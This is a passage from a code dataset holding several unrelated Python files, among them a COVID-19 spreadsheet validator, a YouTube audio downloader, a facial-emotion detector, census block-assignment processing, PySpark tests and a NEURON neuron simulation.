str(error_3))","repo_name":"alschaap/master-thesis","sub_path":"scripts/gene2seq_ida.py","file_name":"gene2seq_ida.py","file_ext":"py","file_size_in_byte":5084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28893608295","text":"from decimal import Decimal\n\nimport rows\n\nfrom brazil_data.cities import get_city_info, get_state_info\nfrom covid19.exceptions import SpreadsheetValidationErrors\nfrom covid19.models import StateSpreadsheet\nfrom covid19.stats import Covid19Stats\n\nTOTAL_LINE_DISPLAY = \"TOTAL NO ESTADO\"\nUNDEFINED_DISPLAY = \"Importados/Indefinidos\"\nINVALID_CITY_CODE = -1\n\n\ndef format_spreadsheet_rows_as_dict(rows_table, date, state, skip_sum_cases=False, skip_sum_deaths=False):\n \"\"\"\n Receives rows.Table object, a date and a brazilan UF, validates the data\n and returns tuble with 2 lists:\n - valid and formated results data\n - warnings about the data\n\n This is an auxiliary method used by covid19.forms.StateSpreadsheetForm with the uploaded file\n \"\"\"\n validation_errors = SpreadsheetValidationErrors()\n field_names = rows_table.field_names\n\n try:\n confirmed_attr = _get_column_name(field_names, [\"confirmados\", \"confirmado\", \"casos_confirmados\"])\n except ValueError as e:\n validation_errors.new_error(str(e))\n try:\n deaths_attr = _get_column_name(field_names, [\"obitos\", \"obito\", \"morte\", \"mortes\"])\n except ValueError as e:\n validation_errors.new_error(str(e))\n try:\n city_attr = _get_column_name(field_names, [\"municipio\", \"cidade\"])\n except ValueError as e:\n validation_errors.new_error(str(e))\n\n validation_errors.raise_if_errors()\n\n type_error = \", \".join(_get_cities_with_type_errors(rows_table, confirmed_attr, deaths_attr, city_attr)).strip()\n if type_error:\n validation_errors.new_error(\n f'Erro no formato de algumas entradas dados: cheque para ver se a planilha não possui fórmulas ou números com ponto ou vírgula nas linhas: {type_error}\"'\n )\n\n validation_errors.raise_if_errors()\n\n results, warnings = [], []\n has_total, has_undefined = False, False\n total_cases, total_deaths = 0, 0\n sum_cases, sum_deaths = 0, 0\n processed_cities = set()\n for entry in rows_table:\n city = getattr(entry, city_attr, None)\n confirmed = getattr(entry, confirmed_attr, None)\n deaths = getattr(entry, deaths_attr, None)\n if not city:\n if confirmed or deaths:\n msg = \"Uma ou mais linhas com a coluna de cidade vazia possuem números de confirmados ou óbitos\"\n validation_errors.new_error(msg)\n continue\n\n if city in processed_cities:\n validation_errors.new_error(f\"Mais de uma entrada para {city}\")\n\n processed_cities.add(city)\n is_undefined = city == UNDEFINED_DISPLAY\n if is_undefined:\n has_undefined = True\n elif city == TOTAL_LINE_DISPLAY:\n has_total = True\n\n if (confirmed is None and deaths is not None) or (deaths is None and confirmed is not None):\n validation_errors.new_error(f\"Dados de casos ou óbitos incompletos na linha {city}\")\n if confirmed is None or deaths is None:\n continue\n\n if deaths > confirmed:\n if is_undefined:\n warnings.append(f\"{city} com número óbitos maior que de casos confirmados.\")\n else:\n msg = f\"Valor de óbitos maior que casos confirmados na linha {city} da planilha\"\n validation_errors.new_error(msg)\n elif deaths < 0 or confirmed < 0:\n validation_errors.new_error(f\"Valores negativos na linha {city} da planilha\")\n\n result = _parse_city_data(city, confirmed, deaths, date, state)\n if result[\"city_ibge_code\"] == INVALID_CITY_CODE:\n validation_errors.new_error(f\"{city} não pertence à UF {state}\")\n continue\n\n if result[\"place_type\"] == \"state\":\n total_cases, total_deaths = confirmed, deaths\n else:\n sum_cases += confirmed\n sum_deaths += deaths\n\n results.append(result)\n\n if not has_total:\n validation_errors.new_error(f'A linha \"{TOTAL_LINE_DISPLAY}\" está faltando na planilha')\n if not has_undefined and len(results) > 1:\n validation_errors.new_error(f'A linha \"{UNDEFINED_DISPLAY}\" está faltando na planilha')\n\n if skip_sum_cases:\n warnings.append(\"A checagem da soma de casos por cidade com o valor total foi desativada.\")\n elif sum_cases and sum_cases != total_cases:\n validation_errors.new_error(f\"A soma de casos ({sum_cases}) difere da entrada total ({total_cases}).\")\n if skip_sum_deaths:\n warnings.append(\"A checagem da soma de óbitos por cidade com o valor total foi desativada.\")\n elif sum_deaths and sum_deaths != total_deaths:\n validation_errors.new_error(f\"A soma de mortes ({sum_deaths}) difere da entrada total ({total_deaths}).\")\n\n validation_errors.raise_if_errors()\n\n # this is hacky, I know, but I wanted to centralize all kind of validations inside this function\n on_going_spreadsheet = StateSpreadsheet(state=state, date=date)\n on_going_spreadsheet.table_data = results\n warnings.extend(validate_historical_data(on_going_spreadsheet))\n return on_going_spreadsheet.table_data, warnings\n\n\ndef _parse_city_data(city, confirmed, deaths, date, state):\n data = {\n \"city\": city,\n \"confirmed\": confirmed,\n \"date\": date.isoformat(),\n \"deaths\": deaths,\n \"place_type\": \"city\",\n \"state\": state,\n }\n\n if city == TOTAL_LINE_DISPLAY:\n data[\"city_ibge_code\"] = get_state_info(state).state_ibge_code\n data[\"place_type\"] = \"state\"\n data[\"city\"] = None\n elif city == UNDEFINED_DISPLAY:\n data[\"city_ibge_code\"] = None\n else:\n city_info = get_city_info(city, state)\n data[\"city_ibge_code\"] = getattr(city_info, \"city_ibge_code\", INVALID_CITY_CODE)\n data[\"city\"] = getattr(city_info, \"city\", INVALID_CITY_CODE)\n\n return data\n\n\ndef _get_column_name(field_names, options):\n # XXX: this function expects all keys already in lowercase and slugified by `rows` library\n valid_columns = [key for key in field_names if key in options]\n if not valid_columns:\n raise ValueError(f\"A coluna '{options[0]}' não existe\")\n elif len(valid_columns) > 1:\n raise ValueError(f\"Foi encontrada mais de uma coluna possível para '{options[0]}'\")\n return valid_columns[0]\n\n\ndef validate_historical_data(spreadsheet):\n \"\"\"\n Validate the spreadsheet against historical data in the database.\n If any invalid data, it'll raise a SpreadsheetValidationErrors\n If valid data, returns a list with eventual warning messages\n \"\"\"\n\n def lower_numbers(previous, data):\n if not previous:\n return False\n return data[\"confirmed\"] < previous[\"confirmed\"] or data[\"deaths\"] < previous[\"deaths\"]\n\n warnings = []\n clean_results = spreadsheet.table_data\n validation_errors = SpreadsheetValidationErrors()\n Covid19Stats()\n s_date = spreadsheet.date\n has_only_total = False\n total_data = spreadsheet.get_total_data()\n if len(spreadsheet.table_data) == 1 and total_data:\n has_only_total = True\n\n city_entries, state_entry = [], {}\n most_recent = StateSpreadsheet.objects.most_recent_deployed(spreadsheet.state, spreadsheet.date)\n if most_recent:\n state_entry = most_recent.get_total_data()\n city_entries = most_recent.table_data_by_city.values()\n\n for entry in city_entries:\n city_data = spreadsheet.get_data_from_city(entry[\"city_ibge_code\"])\n if not has_only_total and not city_data and (entry[\"confirmed\"] or entry[\"deaths\"]):\n validation_errors.new_error(f\"{entry['city']} possui dados históricos e não está presente na planilha.\")\n continue\n elif not city_data: # previous entry for the city has 0 deaths and 0 confirmed\n data = _parse_city_data(entry[\"city\"], entry[\"confirmed\"], entry[\"deaths\"], s_date, entry[\"state\"])\n clean_results.append(data)\n if not has_only_total:\n warnings.append(\n f\"{entry['city']} possui dados históricos zerados/nulos, não presente na planilha e foi adicionado.\"\n )\n elif lower_numbers(entry, city_data):\n warnings.append(f\"Números de confirmados ou óbitos em {entry['city']} é menor que o anterior.\")\n\n if has_only_total:\n if state_entry:\n warnings.append(\n f\"{StateSpreadsheet.ONLY_WITH_TOTAL_WARNING} Dados de cidades foram reutilizados da importação do dia {state_entry['date']}.\"\n )\n else:\n warnings.append(StateSpreadsheet.ONLY_WITH_TOTAL_WARNING)\n\n if lower_numbers(state_entry, total_data):\n warnings.append(\"Números de confirmados ou óbitos totais é menor que o total anterior.\")\n\n validation_errors.raise_if_errors()\n\n spreadsheet.table_data = clean_results\n return warnings\n\n\ndef _get_cities_with_type_errors(table, confirmed_attr, deaths_attr, city_attr):\n if table.fields[confirmed_attr] == table.fields[deaths_attr] == rows.fields.IntegerField:\n return []\n\n result = []\n invalid_number_types = (float, Decimal)\n for row in table:\n city = getattr(row, city_attr, None)\n if city is None:\n continue\n try:\n confirmed = getattr(row, confirmed_attr, \"\")\n if type(confirmed) in invalid_number_types:\n raise ValueError\n else:\n rows.fields.IntegerField.deserialize(confirmed)\n deaths = getattr(row, deaths_attr, \"\")\n if type(deaths) in invalid_number_types:\n raise ValueError\n else:\n rows.fields.IntegerField.deserialize(deaths)\n except (TypeError, ValueError):\n result.append(city)\n return result\n","repo_name":"turicas/brasil.io","sub_path":"covid19/spreadsheet_validator.py","file_name":"spreadsheet_validator.py","file_ext":"py","file_size_in_byte":9795,"program_lang":"python","lang":"en","doc_type":"code","stars":877,"dataset":"github-code","pt":"36"} +{"seq_id":"71002314984","text":"\"\"\"\r\n23. Ler dois conjuntos de números reais, armazenando-o em vetores e calcular o produto escalar entre\r\neles. Os conjuntos tem 5 elementos cada. Imprimir os dois conjuntos e o produto escalar, sendo que o\r\nproduto escalar é dado por: x1 * y1 + x2 * y2 +...+xn * yn.\r\n\"\"\"\r\nvetorA = []\r\nvetorB = []\r\nvetorC = []\r\n\r\nprint('Vetor 1')\r\nfor i in range(0, 4+1):\r\n n = float(input(f'{i + 1} - Insira um número: '))\r\n vetorA.append(n)\r\n\r\nprint('Vetor 2')\r\nfor i in range(0, 4+1):\r\n n = float(input(f'{i + 1} - Insira um número: '))\r\n vetorB.append(n)\r\n\r\nprint('Vetor escalado')\r\nfor i in range(0, 4+1):\r\n c = vetorA[i] * vetorB[i]\r\n vetorC.append(c)\r\n\r\nprint(f'Vetor 1: {vetorA}\\nVetor 2: {vetorB}\\nVetor escalado: {vetorC}')","repo_name":"Kaiquenakao/Python","sub_path":"Coleções Python/Exercicio23.py","file_name":"Exercicio23.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"pt","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"40794418396","text":"class Solution:\n def checkSubarraySum(self, nums: List[int], k: int) -> bool:\n remainder={0:-1}\n s=0\n for i,n in enumerate(nums):\n s+=n\n rem=s%k\n if rem not in remainder:\n remainder[rem]=i\n elif i-remainder[rem]>1:\n return True\n return False\n \n \n ","repo_name":"Devjyoti29/LeetHub","sub_path":"0523-continuous-subarray-sum/0523-continuous-subarray-sum.py","file_name":"0523-continuous-subarray-sum.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7195368988","text":"import os\nfrom pytube import YouTube\n\ndef download_audio(url, output_path):\n try:\n # Create a YouTube object\n yt = YouTube(url)\n\n # Select the highest quality audio stream\n audio_stream = yt.streams.filter(only_audio=True, file_extension='mp4').first()\n\n # Download the audio stream\n audio_stream.download(output_path=output_path)\n\n print(f\"Audio from '{yt.title}' has been downloaded and saved to {output_path}\")\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n\nif __name__ == \"__main__\":\n # Get the YouTube video URL from user input\n video_url = input(\"Enter the YouTube video URL: \")\n\n # Define the directory where you want to save the audio\n output_directory = 'audio_downloads'\n\n # Create the output directory if it doesn't exist\n os.makedirs(output_directory, exist_ok=True)\n\n # Download and save the audio\n download_audio(video_url, output_directory)\n","repo_name":"HLIN9/Youtube_to_mp3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21193572063","text":"from pya import *\n\nlayout = Layout()\n\nlayer1 = layout.layer(1, 0)\n\ntop_cell = layout.create_cell(\"TOP\")\n\nbox = DBox(-0.5, -1.0, 0.5, 1.0)\ntop_cell.shapes(layer1).insert(box)\n\nlayout.write(\"sample.gds\")\n","repo_name":"klayoutmatthias/sky130A_el","sub_path":"sample/scripts/python/sample1.py","file_name":"sample1.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"9400232772","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport glob,random,math,dlib,cv2,itertools,sys,os,pickle,warnings,argparse\n\n\n# In[2]:\n\nimport numpy as np\nfrom numpy import genfromtxt\n\nfrom pandas import Series, DataFrame\nimport pandas as pd\n\nfrom sklearn.externals import joblib\nfrom sklearn import svm\nfrom sklearn.decomposition import PCA\nfrom sklearn.decomposition import PCA as sklearnPCA\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\n\n\nfrom imutils import face_utils\n\n\n# In[3]:\n\nwarnings.filterwarnings(\"ignore\", category=DeprecationWarning) \n\n\n# In[6]:\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-c\", \"--classifier\", required=True,\n\thelp=\"path to facial emotion classifier\")\nap.add_argument(\"-i\", \"--image\", required=True,\n\thelp=\"path to input image\")\nap.add_argument(\"-f\", \"--font_size\", required=True, type=float,\n\thelp=\"emotion font size\")\nap.add_argument(\"-w\", \"--font_width\", required=True, type=int,\n\thelp=\"emotion font width\")\nap.add_argument(\"-r\", \"--rec_size\", required=True, type=int,\n\thelp=\"face rectangle size\")\nargs = vars(ap.parse_args())\n\n\n# In[7]:\n\ndef progress(count, total, suffix=''):\n bar_len = 60\n filled_len = int(round(bar_len * count / float(total)))\n\n percents = round(100.0 * count / float(total), 1)\n bar = '#' * filled_len + '-' * (bar_len - filled_len)\n\n sys.stdout.write('|%s| %s%s ...%s\\r' % (bar, percents, '%', suffix))\n sys.stdout.flush() # As suggested by Rom Ruben\n\n\n# In[8]:\n\nface_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\nlandmark_path='shape_predictor_68_face_landmarks.dat'\ndetector = dlib.get_frontal_face_detector()\ngetLandmark = dlib.shape_predictor(landmark_path)\n\n\n# In[9]:\n\ncolumns_chin=[]\nfor i in range(1,17):\n columns_chin.append('x'+str(i))\n columns_chin.append('y'+str(i))\n columns_chin.append('d_cent'+str(i))\n columns_chin.append('a_cent'+str(i))\ncolumns_chin.append(\"x68\")\ncolumns_chin.append(\"y68\")\ncolumns_chin.append(\"d_cent68\")\ncolumns_chin.append(\"a_cent68\")\n\ntmp=[]\nfor i in range(1,69):\n tmp.append(\"x\" + str(i))\n tmp.append(\"y\" + str(i))\n tmp.append(\"d_cent\" + str(i))\n tmp.append(\"a_cent\" + str(i))\n \ntmp=[]\nfor i in range(1,69):\n tmp.append(\"x\" + str(i))\n tmp.append(\"y\" + str(i))\n tmp.append(\"d_cent\" + str(i))\n tmp.append(\"a_cent\" + str(i))\n\nnew_colname=['x17','x18','x19','x20','x21','x22','x23','x24','x25','x26','x27','x28','x29','x30','x31','x32','x33','x34','x35',\n 'x36','x37','x38','x39','x40','x41','x42','x43','x44','x45','x46','x47','x48','x49','x50','x51','x52','x53','x54',\n 'x55','x56','x57','x58','x59','x60','x61','x62','x63','x64','x65','x66','x67',\n 'y17','y18','y19','y20','y21','y22','y23','y24','y25','y26','y27','y28','y29','y30','y31','y32','y33','y34','y35',\n 'y36','y37','y38','y39','y40','y41','y42','y43','y44','y45','y46','y47','y48','y49','y50','y51','y52','y53','y54',\n 'y55','y56','y57','y58','y59','y60','y61','y62','y63','y64','y65','y66','y67',\n 'd_cent17','d_cent18','d_cent19','d_cent20','d_cent21','d_cent22','d_cent23','d_cent24','d_cent25','d_cent26','d_cent27','d_cent28','d_cent29','d_cent30','d_cent31','d_cent32','d_cent33','d_cent34','d_cent35',\n 'd_cent36','d_cent37','d_cent38','d_cent39','d_cent40','d_cent41','d_cent42','d_cent43','d_cent44','d_cent45','d_cent46','d_cent47','d_cent48','d_cent49','d_cent50','d_cent51','d_cent52','d_cent53','d_cent54',\n 'd_cent55','d_cent56','d_cent57','d_cent58','d_cent59','d_cent60','d_cent61','d_cent62','d_cent63','d_cent64','d_cent65','d_cent66','d_cent67',\n 'a_cent17','a_cent18','a_cent19','a_cent20','a_cent21','a_cent22','a_cent23','a_cent24','a_cent25','a_cent26','a_cent27','a_cent28','a_cent29','a_cent30','a_cent31','a_cent32','a_cent33','a_cent34','a_cent35',\n 'a_cent36','a_cent37','a_cent38','a_cent39','a_cent40','a_cent41','a_cent42','a_cent43','a_cent44','a_cent45','a_cent46','a_cent47','a_cent48','a_cent49','a_cent50','a_cent51','a_cent52','a_cent53','a_cent54',\n 'a_cent55','a_cent56','a_cent57','a_cent58','a_cent59','a_cent60','a_cent61','a_cent62','a_cent63','a_cent64','a_cent65','a_cent66','a_cent67']\n\nmy_cols = list(new_colname)\n\n\n# In[18]:\n\ndef get_landmarks_integ(image,classifier): \n frame = cv2.imread(image, cv2.IMREAD_GRAYSCALE) \n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\n clahe_image = clahe.apply(frame)\n detections = detector(clahe_image, 1)\n landmarks_vectorised = [] \n if len(detections) > 0:\n for k,d in enumerate(detections): #For all detected face instances individually\n shape = getLandmark(frame, d) #Draw Facial Landmarks with the predictor class\n xlist = []\n ylist = []\n\n for i in range(0,68): #Store X and Y coordinates in two lists\n xlist.append(float(shape.part(i).x))\n ylist.append(float(shape.part(i).y))\n\n xmean = np.mean(xlist) #Find both coordinates of centre of gravity\n ymean = np.mean(ylist)\n xcentral = [(x-xmean) for x in xlist] #Calculate distance centre <-> other points in both axes #x\n ycentral = [(y-ymean) for y in ylist] #y\n\n if xlist[27] == xlist[30]: #If x-coordinates of the set are the same, the angle is 0, catch to prevent 'divide by 0' error in function\n anglenose = 0\n else:\n anglenose = int(math.atan((ylist[27]-ylist[30])/(xlist[27]-xlist[30]))*180/math.pi) #point 29 is the tip of the nose, point 26 is the top of the nose brigde\n \n\n for x,y,w,z in zip(xcentral,ycentral,xlist,ylist):\n landmarks_vectorised.append(x) #Add the coordinates relative to the centre of gravity\n landmarks_vectorised.append(y)\n\n #Get the euclidean distance between each point and the centre point (the vector length)\n coornp = np.asarray((z,w))\n meannp = np.asarray((ymean,xmean))\n dist = np.linalg.norm(coornp-meannp)\n landmarks_vectorised.append(dist)\n\n anglerelative = (math.atan((z-ymean)/(w-xmean+0.0001))*180/math.pi) - anglenose\n landmarks_vectorised.append(anglerelative)\n else:\n print(\"warnings!\"+\":Face was not detected at [\"+image+\"] file.\") \n img_num = int(np.array(landmarks_vectorised).shape[0]/272)\n detet_num = len(detections) \n df_All = DataFrame(np.array(landmarks_vectorised).reshape(img_num,272))\n df_All.columns=tmp\n df_All_var = df_All.drop(columns_chin,axis=1)\n df_All_result = df_All_var[my_cols]\n result = []\n emotion_result = [] \n \n for i in range(0,detet_num):\n clf1 = joblib.load(classifier)\n if clf1.predict(df_All_result[i:i+1]) ==6 : emotion = \"Neutral\"\n elif clf1.predict(df_All_result[i:i+1]) ==4 : emotion = \"Sad\"\n elif clf1.predict(df_All_result[i:i+1]) ==3 : emotion = \"Happy\"\n else : emotion = \"Angry\"\n emotion_result.append(emotion)\n\n result.append(df_All_result)\n \n \n return len(detections), emotion_result\n\n\ndef imageimport(image,font_size,font_width,rec_size,classifier):\n col_img = cv2.imread(image)\n frame = cv2.imread(image, cv2.IMREAD_GRAYSCALE)\n detections = detector(frame,1) \n if len(detections) > 0: \n print(\"Number of faces detected: {}\".format(len(detections)))\n print(\"Facial expression: {}\".format(get_landmarks_integ(image,classifier)[1]))\n for (i,rect) in enumerate(detections):\n progress(i+1,len(detections),suffix='Emotion detecting')\n (x, y, w, h) = face_utils.rect_to_bb(rect)\n cv2.rectangle(col_img, (x, y), (x + w, y + h), (0,255,0),rec_size)\n #show emotion\n emotion_list = get_landmarks_integ(image,classifier)[1]\n cv2.putText(col_img, emotion_list[i], (x,y+(font_width*5)), cv2.FONT_HERSHEY_SIMPLEX, font_size,(0,15,7), font_width)\n cv2.namedWindow(\"Detected\", cv2.WINDOW_NORMAL)\n cv2.imshow(\"Detected\",col_img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n print()\n else:\n print(\"detection fail\")\n\n\n# In[ ]:\n\nimageimport(args[\"image\"],args[\"font_size\"],args[\"font_width\"],args[\"rec_size\"],args[\"classifier\"])\n\n","repo_name":"sunsmiling/facial-emotion-detector","sub_path":"facial_expression.py","file_name":"facial_expression.py","file_ext":"py","file_size_in_byte":8451,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"36"} +{"seq_id":"7230088721","text":"from local_tools import decennial_scraper\nfrom local_tools import states\nimport requests\nimport io\nimport zipfile\nimport pandas as pd\nfrom states import STATES\nimport geopandas as gpd\nfrom glob import glob\nimport json\n\ndef download_extract_zip(url, filename):\n \"\"\"\n Download a ZIP file and extract its contents in memory\n yields (filename, file-like object) pairs\n \"\"\"\n response = requests.get(url)\n with zipfile.ZipFile(io.BytesIO(response.content)) as thezip:\n with thezip.open(filename) as thefile:\n yield thefile\n\npostal_to_name = {v: k.lower().replace(\" \", \"_\") for k, v in states.name_postal_code_mappings.items()}\n\n\nfor code, st in STATES.items():\n print(\"{} - {}\".format(code, st[\"STFIPS\"]))\n url = \"https://www2.census.gov/geo/docs/maps-data/data/baf2020/BlockAssign_ST{}_{}.zip\".format(st[\"STFIPS\"],code)\n filename = \"BlockAssign_ST{}_{}_CD.txt\".format(st[\"STFIPS\"],code)\n for f in download_extract_zip(url, filename):\n df = pd.read_csv(f, delimiter=\"|\", dtype=str)\n\n df[\"blockgroup\"] = df.BLOCKID.apply(lambda s: s[:-3])\n mappings = {bg: [] for bg in df.blockgroup.unique()}\n\n for i, row in df.iterrows():\n blocks = mappings[row.blockgroup]\n blocks.append(row.BLOCKID)\n\n with open(\"block_lists/{}_blockgroups20.json\".format(postal_to_name[code]), \"w\") as fout:\n json.dump(mappings, fout, indent=2)\n\n\n\n\nfor code, st in STATES.items():\n print(\"{} - {}\".format(code, st[\"STFIPS\"]))\n url = \"https://www2.census.gov/geo/docs/maps-data/data/baf2020/BlockAssign_ST{}_{}.zip\".format(st[\"STFIPS\"],code)\n filename = \"BlockAssign_ST{}_{}_VTD.txt\".format(st[\"STFIPS\"],code)\n try:\n for f in download_extract_zip(url, filename):\n df = pd.read_csv(f, delimiter=\"|\", dtype=str)\n df[\"vtds\"] = st[\"STFIPS\"] + df.COUNTYFP + df.DISTRICT\n mappings = {bg: [] for bg in df.vtds.unique()}\n\n for i, row in df.iterrows():\n blocks = mappings[row.vtds]\n blocks.append(row.BLOCKID)\n\n with open(\"block_lists/{}_vtds20.json\".format(postal_to_name[code]), \"w\") as fout:\n json.dump(mappings, fout, indent=2)\n except:\n print(\"No VTDs found\")\n\n\ngdf = gpd.read_file(\"/Users/jnmatthews/Downloads/nm-precincts-main/nm_precincts.shp\")\ngdf = gdf.set_index(\"VTDID\")\n\n\nblks = pd.read_csv(\"/Users/jnmatthews/Downloads/nm-precincts-main/NM VTD Block Assign FINAL 20210812.csv\")\n\nmappings = {gdf.loc[vtd].GEOID20: [] for vtd in blks[\"VTDID\"].unique()}\n\nfor i, row in blks.iterrows():\n vtd = row[\"VTDID\"]\n blocks = mappings[gdf.loc[vtd].GEOID20]\n blocks.append(str(row.Block))\n\nwith open(\"block_lists/{}_precincts.json\".format(\"new_mexico\"), \"w\") as fout:\n json.dump(mappings, fout, indent=2)","repo_name":"districtr/districtr-serverless","sub_path":"blockAssignPython/blockAssignDataProcessing/block_assigns2020.py","file_name":"block_assigns2020.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"33762798590","text":"#数据输出器\nimport csv\nimport re\nimport os\nimport urllib.request\nfrom wordcloud import WordCloud,ImageColorGenerator\nfrom scipy.misc import imread\nimport matplotlib.pyplot as plt\n\nclass DataOutput():\n count=0\n def write_csv(self,parse_data):\n csv_name='太平洋汽车网.csv'\n with open('F:/project/太平洋汽车网/data/%s'%csv_name,'a',encoding='gb18030',newline='') as f:\n mycsv=csv.DictWriter(f,['标题','作者','类别','内容'])\n if self.count==0:\n mycsv.writeheader()\n mycsv.writerows([{'标题':parse_data['title'],'作者':parse_data['author'],'类别':parse_data['type'],'内容':parse_data['content']}])\n self.count += 1\n\n def write_txt(self,content):\n txt_name=\"太平洋汽车网____新车点评.txt\"\n with open('F:/project/太平洋汽车网/data/%s'%txt_name,'a',encoding='gb18030',newline='') as f:\n f.write(content)\n\n def down_img(self, img_urls, par_data):\n count=0\n while img_urls:\n count += 1\n if count > len(img_urls):\n break\n name = par_data['title']\n new_name = re.sub(r\"[\\/\\\\\\:\\*\\?\\\"\\<\\>\\|]\", \"_\", name)\n tpyqc_image_path = 'F:\\project\\太平洋汽车网\\data\\image\\%s\\\\' % new_name\n if not os.path.exists(tpyqc_image_path): #os.path.exists判断变量、文件等是否存在\n os.mkdir(tpyqc_image_path) #os.mkdir创建一级目录\n for i in img_urls:\n img_url = i\n img_name = tpyqc_image_path + par_data['title'] + str(count)+'.jpg'\n urllib.request.urlretrieve(img_url, img_name) #从远程下载数据\n\n def word_img(self,dfdata_cp,par_data):\n # 词云【-\n word_img = imread('tu6.jpg')\n mywordcloud = WordCloud(font_path='simhei.ttf',\n background_color='white',\n max_words=100, # 词云显示的最大词数\n mask=word_img, # 背景图片\n max_font_size=500, # 最大字体尺寸\n random_state=42, # 随机状态\n width=1000, # 图片的默认大小宽度\n height=600, # 图片的默认大小高度\n margin=2 # 词语边缘间距\n )\n word_frequence = {w[0]: w[1] for w in dfdata_cp.head(100).values}\n print(word_frequence)\n mywordcloud.generate_from_frequencies(word_frequence)\n img_color = ImageColorGenerator(word_img)\n mywordcloud.recolor(color_func=img_color)\n jpg_name=par_data['title']\n if '\\\\' in jpg_name:\n jpg_name=jpg_name.replace('\\\\','')\n mywordcloud.to_file('F:/project/太平洋汽车网/data/wordcloud_image/%s.jpg'%jpg_name)\n plt.imshow(mywordcloud)\n plt.axis(\"off\")\n plt.show()","repo_name":"malingling0512/m_project","sub_path":"太平洋汽车网/DataOutput.py","file_name":"DataOutput.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"2522674672","text":"import datetime\n\nfrom pyspark.sql import SparkSession, DataFrame\n\nfrom ...src.utilities import read_register_spark_view, anonymize_customer_information\n\n\ndef assert_view_data_count(spark_session, view_name, expected_count):\n sql_text = f'select * from {view_name}'\n assert spark_session.sql(sql_text).count() == expected_count\n\n\ndef assert_data_frames_are_equal_row_wise(data_frame_expected: DataFrame, data_frame_actual: DataFrame):\n assert (data_frame_expected.exceptAll(data_frame_actual).count() == 0)\n assert (data_frame_actual.exceptAll(data_frame_expected).count() == 0)\n\n\nclass TestSpark:\n\n def test_generate_spark_context(self, get_spark_session):\n assert type(get_spark_session) == SparkSession\n get_spark_session.stop()\n\n def test_register_views(self, initialize_spark, request):\n spark_session, path_merchant_table, \\\n etl_date, output_dir = initialize_spark\n read_register_spark_view(spark_session=spark_session, view_name='v_merchant',\n file_path=path_merchant_table, csv_file=True)\n assert_view_data_count(spark_session=spark_session,\n view_name='v_merchant',\n expected_count=25)\n\n def test_anonymize_customer_information(self, initialize_spark):\n spark_session, _, _, _ = initialize_spark\n columns = [\"firstName\", \"lastName\", \"address\", \"dateOfBirth\"]\n data = [(\"John\", \"Doe\", \"3632 Roy Turnpike Angelamouth, MS 71759\", datetime.date(1947, 2, 10)),\n (\"Tracey\", \"Sommers\", \"42202 Rodriguez Road Tracyshire, TN 01262\", datetime.date(2005, 11, 24)),\n (\"Tracey\", \"Sommers\", \"42202 Rodriguez Road Tracyshire, TN 01262\", datetime.date(2005, 11, 24)),\n (\"Amy\", \"Singh\", \"3035 Henry Spur Apt. 089 Lake Christophershire, ND 74565\", datetime.date(1990, 7, 3)),\n (\"Amy\", \"Singh\", \"3035 Henry Spur Apt. 089 Lake Christophershire, ND 74565\", datetime.date(1990, 7, 3)),\n (\"Amy\", \"Singh\", \"3035 Henry Spur Apt. 089 Lake Christophershire, ND 74565\", datetime.date(1990, 7, 3))]\n\n # sort_column = [\"maxRowNum\"]\n # sort_data = [1, 2, 3]\n\n df = spark_session.createDataFrame(data=data, schema=columns)\n df_anonymize_customer_information = anonymize_customer_information(df)\n df_anonymize_customer_information.createOrReplaceTempView(\"anonymizeCustomerInformation\")\n assert_view_data_count(spark_session=spark_session,\n view_name='anonymizeCustomerInformation',\n expected_count=6)\n # df_sort_actual = df_anonymize_customer_information.groupBy(columns).max(\"rowNumber\") \\\n # .select(col('max(rowNumber)').alias(\"maxRowNum\")).sort(\"maxRowNum\")\n # sort_rows = map(lambda x: Row(x), sort_data)\n # df_sort_expected = spark_session.createDataFrame(data=sort_rows, schema=sort_column, ).sort(\"maxRowNum\")\n # assert_data_frames_are_equal_row_wise(data_frame_expected=df_sort_expected, data_frame_actual=df_sort_actual)\n","repo_name":"svishal9/mercury","sub_path":"spark_app/com/thoughtworks/www/tests/unit/test_utilities.py","file_name":"test_utilities.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"38335682923","text":"# python -i hhtest.py\n\nfrom pylab import * # for drawing\n\nfrom neuron import h # import neuron's hoc interpreter\nh.load_file(\"stdrun.hoc\") # for run control\n\nh.dt = 0.025 # set some parameters - dt is time-step in milliseconds\nh.tstop = 50 # tstop is duration of simulation in milliseconds\n#h.celsius = 37# default temperature is 6.3 for squid\n\nsoma = h.Section() # make a section\nsoma.L = 30 # length in microns\nsoma.diam = 1 # diameter in microns\nsoma.nseg = 1 # number of segments (compartments)\n\n# add a hodgkin-huxley channel (includes leak)\nsoma.insert('hh')\n\nvt = h.Vector()\nvt.record(h._ref_t) # record time variable\n\nvvolt = h.Vector(int(h.tstop/h.dt)+1) # make a Vector\nvvolt.record(soma(0.5)._ref_v) # to record voltage from the section\n\ndef xrange(x):\n return iter(range(x))\n\nvm, vh, vn = 